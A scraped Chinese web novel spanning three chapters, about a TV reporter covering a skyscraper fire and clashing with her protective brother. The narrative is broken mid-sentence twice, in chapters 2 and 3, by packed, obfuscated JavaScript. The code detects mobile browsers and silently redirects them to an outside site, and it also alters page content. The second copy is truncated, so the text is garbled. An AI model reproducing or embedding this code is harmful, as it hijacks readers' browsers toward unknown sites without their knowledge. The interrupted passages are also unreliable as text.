《木鱼观察日记》 1. 第一章 火舌纠缠夏夜湿热的空气,将素日繁华匆忙的CBD中心,撕开一道狰狞的大口。 浓烟盘桓大厦外墙滚滚而上,警笛声、人群的惊呼声、大火可怖的爆裂声不绝于耳,现场一片混乱。 穆语和田七接到台里的消息赶到时,现场便已是这般骇人景象。 转播车堵在赶来的路上,导播只好临时连线他们这组距离火情现场最近的记者。 “天啊……”穆语仰面望向远处那幢正被烈火肆意蚕食的高楼,饶是距离尚远,也顷刻便被四散开来的烟尘熏红了眼。 两人高举设备,灵活地穿梭于逆向的人流当中,迅速向火情现场移动。 右耳耳机传来导播高八度的呼叫声,“穆语!就位了吗?五分钟后连你!” 穆语面容紧蹙,足下生风速度不减,提高音量果断回复,“五分钟来不及!只能先随便拍点画面!” 五分钟?!他们插上翅膀也飞不过去! 副控室内乱作一团,耳机里传来阵阵嘈杂的人声。 片刻,导播总算得到许可,“穆语!我们要起火建筑物的全景和疏散人流的画面,三分钟后连你!” 穆语咬唇同身后的田七打了个手势,田七反应迅速,扛起镜头边跑边准备开机。 二人原本在社区工会取材,没带航拍设备,眼下来不及赶到制高点,只好卡角度了。 这个位置还不错! 穆语停下来喘了口气,“七哥,120秒!” 田七闻言,小麦色额角上豆大的汗珠争先恐后地滚了下来,他反手撑住花圃旁的围栏,轻松跃上一个较高平台。 穆语紧随其后,顾不上姿势难看,撅着屁股手脚并用地直往上爬,“50秒!” 她再次向导播确认,“现场非常混乱,确定收音吗?” “确定收音,30秒准备!” “准备。”穆语手脚麻利地连好收音设备,左耳塞着监听,右耳连接副控室,一手拿线,一手将麦克风高高举起,口中不停向田七重复着耳机中导播的指示,“5、4、3……”她收声,用口型继续读秒:2、1! 电视台顺利播出了火情现场起火建筑物的全景,此时人流正有序地向着反方向移动,情况已经糟糕到极点,但也并无网上流出的那些,经过有意或无意渲染后的画面,所见的那样糟糕。 “插21,30秒进演播厅!专家就位……啧,专家人呢?!”耳机里接连传来导播气急败坏的声音,穆语撇撇嘴,用眼神示意田七关机。 在顺利完成第一个拍摄任务后,穆语和田七毫不懈怠,一高一矮的两道身影,继续朝着第一现场的方向快速移动过去。 ***** 作为国际超一线城市,A市坐拥无数繁华商圈,但毫无疑问,俯瞰整座城市蓝图,临东的CBD中心却是当中一颗绝无仅有的璀璨钻石。 云启资本的大楼正稳稳坐落于这片鳞次栉比的钢铁丛林中,不高,周正且沉默,却充满了不可忽视的存在感。 灯火辉煌处的夜空看不见一颗星子,夏夜连绵的蝉鸣淹没在川流不息的车声中,城市另一端炼狱般可怖的大火,也无法撼动此处分毫。 穆谨言今晚饭局喝多了点酒,心里惦记着几个没来得及批复的项目,还有眼前这个——死磕数月也没能点一下头的乙方。 没错,是乙方,他从业十多年来,遇到过最棘手的乙方。 他大晚上的好不容易将眼前这尊佛请回公司,打算乘夜深人静、四下无人之时,丢盔弃甲、奋力一搏。没想路过云启中庭的休息区,却见几个加班的员工,正叽叽喳喳地围着块液晶屏幕吵个不停。 他停下脚步,抱歉地回头看了眼身后过分年轻且挺拔的教授,蹙眉敛容朝噪音处发声,“节目很精彩吗?” 穆谨言特有的阴沉喉音,裹附着楼内充足的冷气,陡然向众人袭去,厅内一时间鸦雀无声。 有个胆大的员工往旁边闪了闪,让出身后的半块屏幕,对穆谨言说:“穆总,金鸡大厦着火了,很严重的样子。” 云启资本的办公氛围是业内出了名的整肃认真,带着一股子的神秘感与学究气,很少出现员工聚众的情况,同事间除了基本的业务交流,私底下都默默奉行着不扎堆、不social的原则。 穆谨言也是有些好奇,挑眉用余光瞟了眼那人身后的实况转播,同事们见状好似被人松了后脖颈,继续七嘴八舌地议论起来。 “天呐,好吓人,整个外墙都着了!” “今天周五,肯定很多人在那边玩。” “着火的好像是B座,我记得B座都是办公区来着……” “珍爱生命,远离加班。” …… 穆谨言见画面右上角是妹妹工作的电视台台标,不由多看了两眼,没料刚想转身招呼商拯上楼,一张熟悉的面孔,便倏地出现在他眼前的转播画面当中。 穆语乌盈盈的长发被火焰腾起的热浪打翻,在火光冲天的夜色中铺散开来。小身板站得笔直,更显得头上那顶安全帽大得离谱。巴掌大的脸上一双清澈的眼睛,将周遭的一切尽数映入里去,显得湿漉漉的,却坚定又充满灵光。 在穆谨言心目中,穆语就像个玻璃娃娃,捧着都怕摔了,平日跟他泼皮撒起娇来脆生生的,但此刻面对瞬息万变的危急场面,穆语却显得意外的沉着冷毅。 “主持人,我们看到现场火势较大,大火沿外墙一路向上蔓延,目测已经到达27层。据了解,火情发生前,业主正在对大厦外墙进行加固施工作业,由于外部有施工围挡缠绕,所以加速了火势蔓延,目前起火原因尚不明确。”她唇齿干脆、条理清晰地向镜头转述着现场情况。 另一边的女主播闻言点了点头,继续追问,“好的,那么现场扑救情况如何,目前是否发现人员伤亡?” “现场十八辆消防车正在全力扑救,消防人员已从多处对大火进行阻截,避免火势继续向毗邻建筑蔓延,目前火情已经得到控制!楼内人群还在紧急疏散当中。” 镜头转向大楼背面有序疏散的人流,不多时,又切了回来,“五分钟前我们得到最新消息,救援队已经接到十一名被困施工人员,正在向外撤离。我们会持续关注人员伤亡的情况,主持人!” 由于网络延时,直播画面尚未切回演播厅。 穆语咬唇尽量过滤周遭嘈杂的声音,努力分辨耳机中导播的指示。 就在这时,身后传来一声玻璃爆破的巨响,人群惊呼起来像沸开的热水,穆语双耳蜂鸣,摘下耳麦闭眼缩了缩脖子。 电视画面被仓皇地切回演播厅,主持人奚蕊坐在主播台后一脸正色,继续有条不紊地播报着年度消防安全的相关信息和画面。 “诶?是爆炸了吗?直播事故?” “希望人没事。” “你们听见了吗?记者说里面还有人!” …… 穆谨言的全身血液尽数向四肢流去,脸色一片煞白,他掏出手机还算镇定地去拨穆语的电话,几次都没能接通。 商拯见状心下了然,出于礼貌地表达几句关心,“现场有消防人员把控,令妹应该在相对安全的区域。” 是啊,关心则乱。 穆谨言酒气被吓消了大半,抬头似是有话想对他说,商拯却只瞧了他一眼,便点头认命地挥了挥手,“走吧,我送你过去。” 虽然他非常讨厌计划被打乱这件事。 ***** 主播台后,奚蕊趁转播其他画面的间隙,焦急地询问导播穆语的情况,她显然是看到了火情现场的惊魂一幕。 导播这会儿急得像热锅上的蚂蚁,哪里有空搭理她,“小赵!转播车就位了,50秒切现场!稿子换了吗?怎么还没显示!” 奚蕊不依不饶,“我问你们话呢!穆语没受伤吧?” 导播终于抬头,瞟了眼返送屏幕里杀气腾腾的奚蕊,“30秒切现场,你看到她不就知道了。” 奚蕊闻言脏话几乎脱口而出,对着正前方的机位竖起中指,随即在“铛”的一声提示音后,瞬间正色,堪称教科书式的表情管理,面对镜头继续严肃、准确地播报起稿件内容。 待画面重新转回穆语那头,她才终于松了口气,画面中的穆语并未受伤,只是鼻头和脸颊被烟灰熏得黑了点,看起来有些狼狈。 现场成功营救出十一名受困施工人员,其中三名重伤、五名轻伤,已全部送往医院救治。 穆语和田七随救护车赶 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成年人善意的场面话,倾听者理应得过且过。商拯无法坦诚自己为免被穆谨言拿捏,于是调查了他们一家的事实。 兴许是酒意作祟,穆谨言居然毫无防备地相信了他的说辞,甚至允许自己露出一个温暖的表情,“我是真拿她没辙,父亲母亲这两年不常回国,也只有我还能管管她。” 穆谨言望向窗外,声音轻得像是在与自己对话,“我这个妹妹从小被捧着长大,在家顽劣得要命,出了门又像只兔子似的乖巧,不知道的都以为她是什么上进的大家闺秀,其实隔三岔五就要闹得家里鸡飞狗跳。” 语毕,穆谨言回过神来,又重拨了一遍电话,仍是无人应答。 大体是车内密封性太好,穆谨言的情绪有些感染到他,竟也惹得商拯莫名烦躁,平时从不开快车的他,惶然间连连踩重了几下油门。 二人在这微妙的气氛中,再次陷入沉默。 穆谨言这边正打算说点什么,手机便适时响起,看到来电显示,面上掩不住的狂喜,“小语?” 电话那端杂声很大,混着警笛的嘶鸣,吵了一会儿才传出穆语的声音,“嘶……哥!刚才太乱了,我跟田七都没顾着手机,你别担心。” “你在哪?”他话语间掩不住地关切。 “我们在去医院的路上!”她怕穆谨言听不见,捂着话筒将音量提高。 穆谨言闻言脖子上的汗毛都立了起来,几乎条件反射地发问:“你受伤了?” 穆语心虚,他怎么知道自己受伤了?忙不迭地解释道:“我上车的时候不小心擦破了点皮,我们是去医院工作的。” “哪个医院?”穆谨言只吐出几个字便已是一副山雨欲来的样子,穆语就知道拗不过他,只好悻悻交出地址。 二人匆忙调转车头,往医院的方向赶去。 刚一下车,车库走道内的日光灯便晃得穆谨言眼前花白,酒气翻涌间,他弯腰握拳抵住唇角,样子难受极了。 商拯上前抬手虚扶,穆谨言满脸写着抱歉,借力才勉强直起腰来,“商教授,今天耽误你时间了,等下我叫助理过来接我们就好。” 商拯逆光,垂眸望着他半晌没说话,穆谨言被瞧得有些窘迫,尴尬地清清喉咙,靠墙抿起嘴来,笑容略显无奈。 他们才认识数月,满共没见过几次面,他居然让一个乙方,全程参与了自己这么狼狈的时刻。 他穆谨言,A市城东CBD的大鳄,他不要面子的啊? 但商拯只是突然想到自己罢了。 他努力回忆,自己上一次如穆谨言这般为家人担忧,是什么时候?然而未果,他的脑海空空如也。 “空空如也”——这对他而言十分难得。 商拯这么想着,又睨了穆谨言一眼,说:“我理解。” 他理解个屁,其实他一点也不理解,更不想理解。因为此时的穆谨言,看起来并不好受。 在急诊大厅找到穆语的时候,她正背对他们扛着台硕大的摄像机,田七在不远处拿着录音笔跟护士交谈。 急诊大厅的环境本就嘈杂,穆谨言顾不上那么多,高声唤了穆语的名字。 “小语!” 2. 第二章 穆语闻声,过电似的弹起来捂住额角,“我的亲哥啊……怎么这么快?”她一边小声嘀咕,一边不情愿地转过半个身子,冲不远处的穆谨言咧嘴一笑。 她脸上的灰尘还没来得及擦干净,大眼睛弯成两条闪亮的弧,露出八颗健康的牙齿,与平日闯了祸的样子如出一辙。 穆谨言长腿一迈,没两步便跨到她的身前。 上下打量一番,确认穆语没缺胳膊少腿后,才算是真的松了口气。但对于妹妹掩耳盗铃的傻瓜行为,他表示自己不瞎,“穆语,松手。” 穆语满脸写着讨饶,勉为其难地放下自己捂住额角的脏手,露出一个由于擦了药水,反而显得有些狰狞的伤口。 正因为她破了相不方便上镜,才临时和七哥调换了工作,本想等录完这条,再随便找个帽子糊弄一下。 这、下、可、好。 “哥,只是擦破点皮,医生都懒得给我包纱布。”她越说声音越小。 为了证明自己真的不痛,穆语咬牙,作势便要戳两下脑门给他看,得亏穆谨言眼疾手快,才一把拽住了她胡乱飞舞的手臂。 穆谨言比穆语大了八岁,自从那件事将他带到穆语身边,照看妹妹便是他顶天的大事。从穆语踉跄学步到出落大方,她每一个成长的瞬间,他都要负绝对的责任。 穆语天资聪慧,学什么都很快,做什么都很专注。 要说不好,那就是穆谨言认为,作为穆家的一分子,穆语未免太有主见了些。 哥大毕业后,本想让她接手一部分集团的工作,她却坚持要去电视台做什么——“内容”。 家里人不同意,她便一面装作无所事事的样子,一面偷跑出去面试,从实习记者做起,跑腿打杂怎么都不喊累,等被他们发现的时候,好家伙都干大半年了。 他不是不理解穆语的坚持,他只是认为,穆语永远值得更好的。 这也不是她第一次因为工作而受伤,但无论穆语因何受伤,他穆谨言,永远难辞其咎。 田七素日里总一副天不怕地不怕的精悍模样,如今见状也不敢轻易过来自讨没趣。 “我联系过你们主任了,等下会有人过来接手你的工作。” 穆谨言瞄了眼腕上的手表,阴恻恻地出声,又若无其事地拎起穆语手上的设备,瞧也没瞧就塞进一旁傻站着的田七怀里,那无礼的行径,简直与他平日事事熨帖的形象相去甚远。 此情此景太过频繁地出现在穆语那被悉心编排的人生当中,于是她像被踩到了某个脆弱的开关,腾得炸起了逆鳞,“穆谨言!不插手我的工作有这么难吗?显得你了是吧!还联系我领导?我都说了没事,不信你自己去问医生啊!” 商拯不动声色地将眼前这场面尽收眼底,扭头却发现穆谨言早已低眉敛容,好像又回到了他之前认识的那副模样,喜怒不形于色泰山也无可奈何。 穆语眼见自己一拳打在棉花上,无从发泄,索性耍起无赖,“我今天就是不走,你还能绑我不成?” 穆谨言不着痕迹地打量着她额角的擦伤,也是有些上火,“这里是医院,我不想跟你在这吵,今天和平时不一样,先决条件是你受伤了。” “这根本算不上受伤,谁没撞到过脑袋似的?” “我就没有……”田七忍不住插嘴。 穆语后槽牙都快磨出火星子来,扭头一记眼刀朝他飞去,“你哪边的。” 医院消毒水的味道并不好闻,急诊大厅四处都乱糟糟的,不时送来几个被火灾殃及的伤员,最糟糕的是,商拯还等在一边。 此刻穆谨言只想速战速决。 他启唇语气轻飘飘的,却字字都不容拒绝,“穆语,没有了解你受伤的经过就草草处理,我不允许;第二,你在完成工作的过程中受伤,属于工伤,我不追究你们电视台的责任,只是帮你请假,已经网开一面;第三,你如果想继续在这里跟我吵,我只好告诉父亲,你工作的时候受了伤。” 出现了!穆谨言的杀手锏出现了! 虽然穆语已经很习惯被穆谨言轻而易举地修理,但还是气不过他动不动就要告状的小人行径! 她几乎带着哭腔,“一把年纪还学小学生告状,我都替你脸红!” 这可不是开玩笑,如果让老穆知道自己工作的时候受了伤,她能分分钟失业,做回一条没有梦想的咸鱼。 ***** 很快穆语的脑袋就被重新包扎了一遍,原本涂了药水显得普通严重的小伤,此刻显得更加严重。 她一上车便鼓着腮帮子往穆谨言的反方向挪去,紧怼到车门边上才老实下来。 生了一肚子闷气,免不了要冷嘲热讽几句。 “穆谨言,你知不知道你生气的样子,特别抓马。” “你把我包得这么死亡重金属,我等下洗澡还得拆半天,估计等我拆开,头都长出来好几个了。” “你说说你这个别扭劲儿,跟小明那什么,‘我不要你觉得我要我觉得’有什么区别?” “我看你八成是脱离婚恋市场太久,不知道这霸道总裁的人设已经不抢手了,现在的女孩子,喜欢的是温柔顾家不黏人,我看你是一点边也沾不上。” “情商这个东西,虽然你平时不大用得到,可是人啊!没点情商的话,走到哪儿都不招人待见。” 驾驶座上隔岸观火的商拯,忍不住抬眸瞧了眼后视镜里的穆谨言,难掩兴味。 对方显然是感受到来自车内第三人的愉悦,顿时脸黑了大半,“穆语,闭嘴。” 街道两侧,华灯辉映着树影,层层叠叠地掠过车窗,将车内几人的周身,镀上层暖色的光。 穆语冷哼一声,开始有些好奇地打量起驾驶座上哥哥“朋友”的后脑勺。 那人的头发像乌木一样黑,发线密实地一路铺叠下来,在耳边被修剪成极规矩的形状。光点在他的发梢轻跳,耳骨旁一缕倔强的碎发,显得毛茸茸的。 原来有人的头发能黑成这样啊? ——看起来不太聪明的样子。 哥哥口中的那些“朋友”,多数只是表面兄弟罢了。身居高位,眼前笑嘻嘻,背后捅刀子的大有人在。 他从来不像她,那么理所当然地长大。 想到这,穆语又有点心疼哥哥了。 他身上的酒气还未散尽,一定是刚应酬完就急匆匆地找了过来,还陪着她折腾许久。 他工作太忙,总不能按时吃饭,胃不好还要喝酒应酬,加上旧伤时不时地发作一下,跟他比起来,自己简直壮得像头牛,可现在受了点小伤,反而是哥哥在紧张自己。 穆语当即便狠狠瞪了眼面前那颗无辜的后脑勺,又朝穆谨言的方向蹭了回去。 ***** 次日清晨七点四十五分。 钱婶一如往常地敲响穆语卧室的房门,用南方口音软软糯糯地唤她,“小语,下来吃饭了。” 穆语将头埋进被窝,黏黏糊糊地应她,“钱老板,您就让我再睡会儿吧。” 钱婶推门,远远瞧了她一眼,“小语啊,哥哥不太高兴的样子,今天就听他的话别出门了,在家好好休息一天。” “他怎么还没走?!”穆语闻言一个鲤鱼打挺,竟已是穿戴整齐、全副武装的样子。 穆谨言可是个无论头天工作到多晚,都能在五点起床晨跑,六点更衣洗澡,一刻钟后收拾妥当,跟纽约公司开视频会议的变态! 有时会议时间久一些,他出门也会晚一些,但从未超过七点半。 然而此刻已经七点四十五分了!他居然还没出门? 计划有变! 穆语将钱婶胡乱打发出去,关门落锁,从兜里掏出手机,噼里啪啦地给田七发起了消息。 木鱼不是用来敲的:七哥!魔头还没出门,我晚点到现场。 拍照喊田七:可是主任已经安排别人了 木鱼不是用来敲的:什么?!你告诉他我已经在去现场的路上了! 拍照喊田七:你还是放弃挣扎吧(doge)我又不介意换搭档 穆语咬牙放下手机,熟练地将背包从阳台扔了出去,手里紧攒着两只拖鞋,又光脚趴在门边听了许久,才敢把门打开一条缝来。 确认走廊两端无人后,她缩成一团,半跪半爬地往楼梯口挪去。 穆谨言的书房是从穆语卧室到楼梯口的必经之地,此刻穆语屏息凝神,在书房的门前蹲坐下来。 房间门没关,半晌也未见任何响动。 她心跳如雷,抱着破釜沉舟的决心探头望去! 嗯?屋里没人? 穆谨言出!门!了! 穆语拼命忍住仰天长啸的冲动,继续手脚并用地往楼下爬去。 她还不能掉以轻心,这幢屋子里可多的是魔头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443396|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼线,没承想四下无人,竟一路畅行。 就在穆语准备以最快的速度爬过客厅,朝自由的方向飞奔而去之时,她惊讶地发现—— 自家楼下那间以视野极其开阔而著称的餐厅里,正端坐着好些公司高管,以及,面容冷峻的穆谨言。 “去哪?”穆谨言的声音越过众人,劈头盖脸地向她杀将而来。 穆语个头不高,瘦瘦小小的一只,在地上半团着。 此刻穆谨言强势的模样,反衬得穆语楚楚可怜,难怪外面会一直流传着穆谨言大权独揽、恃势凌人的谣言。 穆语!现在可不是发呆的时候! 她回过神来一招空手接白刃,状似无意地丢下怀里的拖鞋,起身穿好,一副无事发生的模样,“我去医院换药。” 穆谨言点头敷衍地笑笑,“下午有人到家里来换,你可以省了。”说着,他拉开左手边的椅子,冲她招呼到,“过来把饭吃了。” 穆语即便是火冒三丈,也不好当着这么多穆谨言下属的面给他脸色瞧,只好满脸谄媚,笑嘻嘻地小跑过去,在众人亦是好奇亦是探究的注视中坐下,默默“享用”早餐。 团结在以穆谨言为中心艰难生存的人们,很难学不会能屈能伸的道理,穆语亦然。也正因如此,周末早晨八点,叫来一屋子同事在家里开会的这种奇葩行径,满朝文武竟无一人敢言。 “不好意思,各位辛苦了。”穆语放下筷子,向众人示意后礼貌地离开餐厅。 重新回到卧室的她,当机立断拨通了陈亦然的电话。 呵,穆谨言未免太小瞧自己,跟他过招,会有人不准备PlanB吗? 陈亦然只比穆语早生几个月,两家长辈交情匪浅,二人便打小穿着开裆裤一起长大。 陈家是A市有名的世家,原本比他们穆姓的身份尊贵不少,但后来穆语父亲的生意越做越大,而陈亦然的父亲又是个不遭家族待见的私生子,当年事业走到瓶颈处时,常受到老穆关照,便渐渐有些巴着的意味。 后来穆家几次置业,他们便搬到哪都跟着,到现在也还是邻居,想撇清关系都难。 果不其然,电话接通就传来陈亦然那厮幸灾乐祸的笑声,“听说你破相了?” 穆语眼前一黑,“让您失望了,我这一磕不仅没有破相,神志反倒愈加清朗,我堂堂昂扬少年,怎能与猪狗为伴?意思是,我要跟你绝交。” 陈亦然打了个呵欠,声音喑哑像是刚醒,“你一早打电话把小爷我吵醒,就打算用这种态度求人办事。” “好!痛快!明人不说暗话。”穆语说到这才知道心虚,绞着手中的衣带失了底气,“你快点过来,把上次咱去黄石用的登山工具带上。” “?”陈亦然虽没有穆语鬼灵精,但也意识到她想做什么,立刻被吓得没了瞌睡,头摇得像个拨浪鼓,“你……你知道的,我对你哥,那是绝对的忠诚!我可不敢帮你干这种事!” 陈亦然的反应完全掌握在穆语的射程范围之内,她丝毫不慌,放慢语速佯装叹惋:“你不愿意帮我,我非常能够理解,就是上次你喝多了,用屁股给酒店擦玻璃的视频我还……” 穆语这边轻描淡写,陈亦然那头已然是脸红到了脖子根,他认识的穆语,从小就没比她那个哥哥好对付到哪里去,他急得夹起嗓子连声抱怨,“你怎么还留着啊!上次不是盯着你删了吗!” “这叫兵不厌诈,”穆语缺德一笑,“你说这么可爱的视频,如果被陈爷爷看见……” “穆语!我生气了!”陈亦然眼眶泛红,太阳穴烫得都能煎蛋了,“多大仇,你这么威胁我?” 糟糕,玩过了。 穆语直呼不妙,天可怜见,她真是因为那视频太可爱才舍不得删的!只好转换策略连哄带骗,“哥哥,我的好哥哥,我今天的工作真的特别重要,现在已经快来不及了,只有你能帮我。” 见陈亦然不为所动,穆语看了眼时间,就差声泪俱下,“想当年,你身陷野鸡大学,是谁远赴重洋不顾千难万险解救你于水深火热之中?要是没我穆语,你毕得了业吗?要是你毕不了业,你爸能让你活到现在吗?有了我,才有了你的二次生命!有了我……” “差不多得了,”陈亦然那头传来窸窸窣窣的声音,“事先说好,等下你得给我把那视频删了。” “陈亦然,我能不能……” “不能!” 3. 第三章 “穆语轻点,啊!杀人啦!” 穆语这头喘着粗气,反身一脚便踹了过去,边压低嗓子冲他吼道:“白痴小声点,别再叫唤了!” 她背部紧贴墙面,双手拽住主绳,单脚直蹬在陈亦然屁股后面,又紧了紧系在他腰上的安全带,动作行云流水一气呵成。 “你不知道,刚才我上来的时候,你哥那眼神,可太吓人了……”陈亦然回头飞快地瞅了她一眼,“姑奶奶,差不多行了,这二楼掉下去横竖摔不死,您少折腾我成吗?” “小陈同志,”穆语打断陈亦然滔滔不绝地抱怨,将长发松松挽在脑后,扯住胸前的背带,拍了拍那厮的肩膀,“为了理想,我们当中必须有所牺牲。” “意思是为了你的理想牺牲我呗?” 穆语不置可否,将手套递给他戴上,又探身出去,再次确认安装在阳台栏杆上的滚轮和陈亦然腰间的保险万无一失,紧接着翻身越过围栏,准备速降。 “反正你暂时还没什么理想,等你有了,我一定随时做好为同志牺牲的准备。” 陈亦然闻言皱起脸来,撇着嘴不情不愿地紧攥手里的扁带,穆语冲他勾勾手指,“好同志,车钥匙给我。” ***** 穆语如愿以偿地赶在开工前到达了事故现场,她这头风风火火,田七却满脸凝重。 “怎么了?”穆语挎着相机带好证件,同几位相熟的警官打过招呼才朝田七走去。 金鸡大厦的四周被围起警戒线,从大楼外侧可以清晰地看见,B座15层向上至29层的位置已被大火舔舐得焦黑一片,在晨光的抚慰下仍显得毫无生机。 远处戴着安全帽的工人,正在清理昨晚从楼上掉落在警戒线外围的废墟。 几名消防员精疲力竭地靠在消防车旁,显然是熬了一宿,脸上满是汗水冲刷留下的印子。 盛夏七月里A市的太阳,从早到晚都没有半点停止发热的意思,饶是穆语刚从冷气充足的车上下来,也顷刻便热出了一层薄汗。 她瞧着大楼后方还不停有消防人员进进出出,两辆救护车仍在不远处的空地上待命,睫毛经不住颤抖起来,杵了杵身边的田七问道:“楼里还有伤员?” 田七眉头紧蹙点了点头,停了会儿又摇了摇头。 此时,辖区内与他们对接采访任务的王警官赶来了解情况,被浓烟熏了整夜,他双目赤红满眼血丝,“小穆,等我们最后一批搜救人员归队,确认大楼内部结构安全后,才能允许你们进去拍摄。” 穆语见王警官如此,眼睛不免也有些发酸,“王警官,里面是还有伤员吗?” 王警官思索片刻,面色凝重地点了点头,“昨晚第一组入内参与搜救的队伍,有一名消防员失联了,还没有……” 他话音未落,大楼背面的入口处便破空传来一声哭嚎,王警官闻声微怔,顾不上旁的,转身便向发声处飞奔过去。 穆语回头,依稀看见背光处被几人围住的担架上,一团黢黑的影子,已经难分人形。 空气中飘来几声隐忍的呜咽,彻夜顶住滚滚热浪,毫不畏惧冲锋在前的战士们,哪怕此刻,也不允许自己露出些微软弱的样子。 穆语倏地红了眼眶,眼前的一幕狠狠冲撞着她的内心,分不清是惊惧还是悲伤,只觉胃里一阵翻腾,“开机。” 她胡乱揉了把眼睛,伸手搀住身边怔忡的田七,再次提醒他,“拍啊!” 田七这才回过神来,扛起摄像机调整焦距。 风将地面上的灰烬层层卷起,重新送往天空和远方,救护人员以最快的速度赶来,可惜担架上的年轻人,已经彻底失去了生命体征。 他拯救了别人,却来不及拯救自己。 短暂地充满苦难的人生中,生命有时显得轻飘飘的。 成天幻想着改变世界、行侠仗义的穆语,再一次感到恐惧,不确定做别人的英雄与做自己的英雄,究竟是不是一件冲突的事。 田七再次放下摄像机时,已经分不清脸上是汗水还是泪水。 穆语咬唇,安慰般地握起田七拍摄时稳稳托住摄像机,却在此刻止不住颤抖的大手。 她不敢想象,在放大数倍的镜头里,他看到了什么。 ***** 不久后,王警官安排他们在相关人员的陪同下,进入大楼内部拍摄。 电梯停用,一行人爬了将近20层才到达起火点。 负责人向他们介绍,导致大楼起火的原因,初步推测为工人对用工机械的使用不当,但具体原因仍需要进一步验证。 …… “机械火星接触易燃材料后迅速成型,起火点的排风口与20层商户厨房的排烟口相连,附着大量油烟。工人第一时间用水进行扑火动作,火油四溅反而扩散了起火面积,加上大楼外侧施工围挡的缠绕,加速了火势蔓延。这是初步推断,目前正在对涉事单位进行进一步调查。”穆语做完播前会议的简报,长舒了口气。 电视台新闻中心主任刘伟人点头道:“事故报告何时能拿到?” 穆语耸肩摇了摇头,“老样子,不过这次事故关注度很高,应该不会太久。” “哎,”刘伟人叹了口气,“我们这边继续派人跟进,拿到事故报告前起火原因暂时不做任何发表,稿子都核仔细点。” 穆语张嘴欲言又止,“……知道了。” 离直播开始还有半个小时,刘伟人再次向实习记者确认,“消防那边的专家到了吗?” “在休息室,已经对过流程了,计划在28条后插一条‘应对不同类型火灾的自救常识’。” 长桌另一端,见穆语走神,奚蕊不禁有些担心,偷偷在桌下踢起她的鞋尖。 奚蕊是穆语在哥大读书期间相识的朋友。 当时奚蕊就读于国内知名传媒大学的播音系,作为交换生被派往哥大学习交流,她们一见如故,便理所应当地照顾起同在异乡的彼此。 但由于穆语技术上的重大失误,直接导致了奚蕊与陈亦然之间一段孽缘的产生,每每忆起此事,穆语便追悔莫及。 “奚蕊,”刘伟人见状横了她一眼,“等会儿给我注意姿态,事件关注度有多高你是知道的,不容有失,拿到修改后的稿子没?” 穆语这才注意到长桌对面正冲她挤眉弄眼的奚蕊,这厮跷着二郎腿,没心没肺地甩了甩手里的口播稿,那样子简直与主播台后端庄知性的她判若两人,“拿到了,完全O98K!” “98是什么?”刘伟人莫名,头顶闪耀着求知若渴的光芒,就像地中海面冉冉升起的太阳。 要说这个奚蕊可就不困了,她眉目舒展,当即便打算大方解惑,“98啊!就是……” 刘伟人余光瞥见会议室内众人不怀好意的模样,连忙气急败坏地打断施法,“行了!少在这给我耽误时间,顶创的专题准备得怎么样?这周能播吗?” 专题负责人摸摸鼻子,“咳,目前只接触到患者家属,这家公司的高层都不太好搞,很少接受采访,联系他们公关部,人直接给我甩了个企业宣传片过来,专访……可能会比较困难。” 刘伟人薅了薅顶上所剩无几的头发,安排道,“小穆,你不是想做专题吗?这个专题你去跟吧?” “我不要,”穆语不假思索地拒绝,“金鸡大厦这个案子我跟得好好的,明天就能去施工单位踩点了,现在已经初步认定施工方资质的问题,这时候换人算怎么回事啊?” 刘伟人只是突然想到穆语家里那层关系,没准能接触到顶创的管理层,想行个方便罢了,哪知这孩子心里,根本没他那么多弯弯绕绕。 穆语当年是自己正儿八经考进电视台的,因此清楚她来头的人并不多。 如今云启资本的商务人脉四通八达,又是台里最大的赞助商之一,刘伟人自然是不敢难为穆语,只好悻悻转移话题,打算私下再找她商量看看。 下了会,奚蕊拉着穆语匆匆关心几句,就被导播催着赶进了演播厅。 其实穆语额角的擦伤已经开始结痂,并无大碍,但只要一想到上午事故现场的景象和收工后田七阴沉的样子,她整个人就充满了失落。 奚蕊走后,她低头看了眼手机,只有老穆早些时候来过一个电话。 她咬唇有些头痛地想,穆谨言必然是气炸了,才会连一个电话也没有打来。 穆语心情不好,现在连家也不敢回。 ***** 商拯从实验室出来的时候,已经过了凌晨一点。 整座顶创研发中心的大楼,只有一间实验室还亮着灯。 他这头才刚带上门,屋里几位年轻的工程师,便忍不住爆发出一阵哀嚎,东倒西歪地瘫软在实验台下。 “老大的真实职业,应该是个牧师吧?”冯嘉家躺在地板上,小心翼翼地吊着自己仅剩的半口气。 组长沈洁秉持着科学家的探索精神,有气无力地追问道:“何出此言?” “如果不是牧师,为何他会如此精于度化我的肉/体与灵魂。” 魏巍麻木地将视线从手中复杂的电路上挪开,神情恍惚地开口,“我看商总更像真人AI,我们好像晚饭没吃,午饭也……” “没被男人欺骗过的青春是不完整的,如果再给我一次机会,”年纪最小的楚翘阳眼里包着汪泪花,突然话锋一转,“我依然会选择为了多看商总几眼,而加入他的项目!” 不出所料地换来屋内几人此起彼伏地笑骂。 …… 走廊的感应灯随着商拯的移动一盏盏亮起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李珀嘟哝着从睡梦中惊醒,眯眼恍惚望向光影交错中那道修长的人影,喃喃道:“我的神,你可回来了。” “这么晚过来做什么?” 李珀艰难起身,踉跄地扶着商拯的肩膀站直,“干嘛对别人这么冷漠,我当然是有事情找你,这副样子又不敢去你实验室。” 商拯其人,对待工作极其严苛,认识他的同行都知道,他的实验室里杜绝三样东西,手机、钟表和没用的人。 这意味着,如果你不幸加入了商拯的团队,那么从此,在实验室里辨别时间的方法,将会只有一个,那就是——看、太、阳。 倒不是商拯刻意要求这么做,只是科学家的圈子实在太小,分明是对待工作鞠躬尽瘁的“光荣事迹”,可传来传去就变成了丧心病狂的“魔鬼法则”。 他的双手仍然插在褂子口袋里,微微侧身抖落李珀搭在自己肩上的手,像是连一个多余的表情都懒得给他,“什么事?” 